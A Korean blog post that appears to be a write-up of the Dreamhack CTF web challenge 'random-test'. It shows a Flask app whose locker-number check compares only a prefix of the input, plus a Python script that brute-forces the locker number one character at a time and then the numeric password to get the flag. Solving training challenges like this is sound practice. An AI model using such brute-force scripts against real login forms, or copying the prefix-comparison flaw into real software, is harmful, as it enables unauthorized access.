본문 바로가기

Web Hacking/Dreamhack

[Dreamhack] random-test write up

 

드림이를 위해 문제를 풀어보자!

 

바로 코드를 보면

 

#!/usr/bin/python3
from flask import Flask, request, render_template
import string
import random

app = Flask(__name__)

try:
    FLAG = open("./flag.txt", "r").read()       # flag is here!
except:
    FLAG = "[**FLAG**]"


rand_str = ""
alphanumeric = string.ascii_lowercase + string.digits
for i in range(4):
    rand_str += str(random.choice(alphanumeric))

rand_num = random.randint(100, 200)


@app.route("/", methods = ["GET", "POST"])
def index():
    if request.method == "GET":
        return render_template("index.html")
    else:
        locker_num = request.form.get("locker_num", "")
        password = request.form.get("password", "")

        if locker_num != "" and rand_str[0:len(locker_num)] == locker_num:
            if locker_num == rand_str and password == str(rand_num):
                return render_template("index.html", result = "FLAG:" + FLAG)
            return render_template("index.html", result = "Good")
        else: 
            return render_template("index.html", result = "Wrong!")
            
            
app.run(host="0.0.0.0", port=8000)

 

코드는 매우매우 간단하다. locker_num과 password를 POST로 요청 받아 rocker_num과 비밀번호를 구한다. 처음에보고 4중 for문을 돌려야되나 생각했지만 혹시나 풀릴지라도 당연히 문제 의도는 아닐테니 다시 생각했다.

 

코드를 잘 보면 취약한 부분을 발견할 수 있다.

 

 

위 사진은 locker_num을 비교할때의 if문이다. 미리 생성된 사물함 번호를 사용자가 입력한 locker_num의 길이를 토대로 잘라와 비교한다.

 

즉, 우리가 사물함 번호를 1개만 입력하면 1개만 비교할 수 있다. 따라서 한 개씩 비교를 늘려가면 쉽게 브포를 통해 locker_num을 구할 수 있고 나머지 password를 브포로 구할 수 있다.

 

import requests
import string

ch = string.ascii_lowercase + string.digits

url = "http://host3.dreamhack.games:23002/"

data = {
    "locker_num": "",
    "password": ""
}

locker_num = ""

for i in range(4):
    for c in ch:
        data["locker_num"] = locker_num + c
        res = requests.post(url, data=data)

        if "Good" in res.text:
            locker_num += c
            print(locker_num)

for i in range(100, 201):
    data["password"] = i
    res = requests.post(url, data=data)

    if "FLAG" in res.text:
        print(res.text)

 

 

연습하기에 좋았던 문제같다. 역시 코드를 꼼꼼하게 봐야돼.

'Web Hacking > Dreamhack' 카테고리의 다른 글

[Dreamhack] php-1 write up  (0) 2024.04.07
[Dreamhack] proxy-1 write up  (2) 2024.04.07
[Dreamhack] Type c-j write up  (2) 2024.03.31
[Dreamhack] baby-union write up  (2) 2024.03.31
[Dreamhack] BypassIF write up  (0) 2024.03.30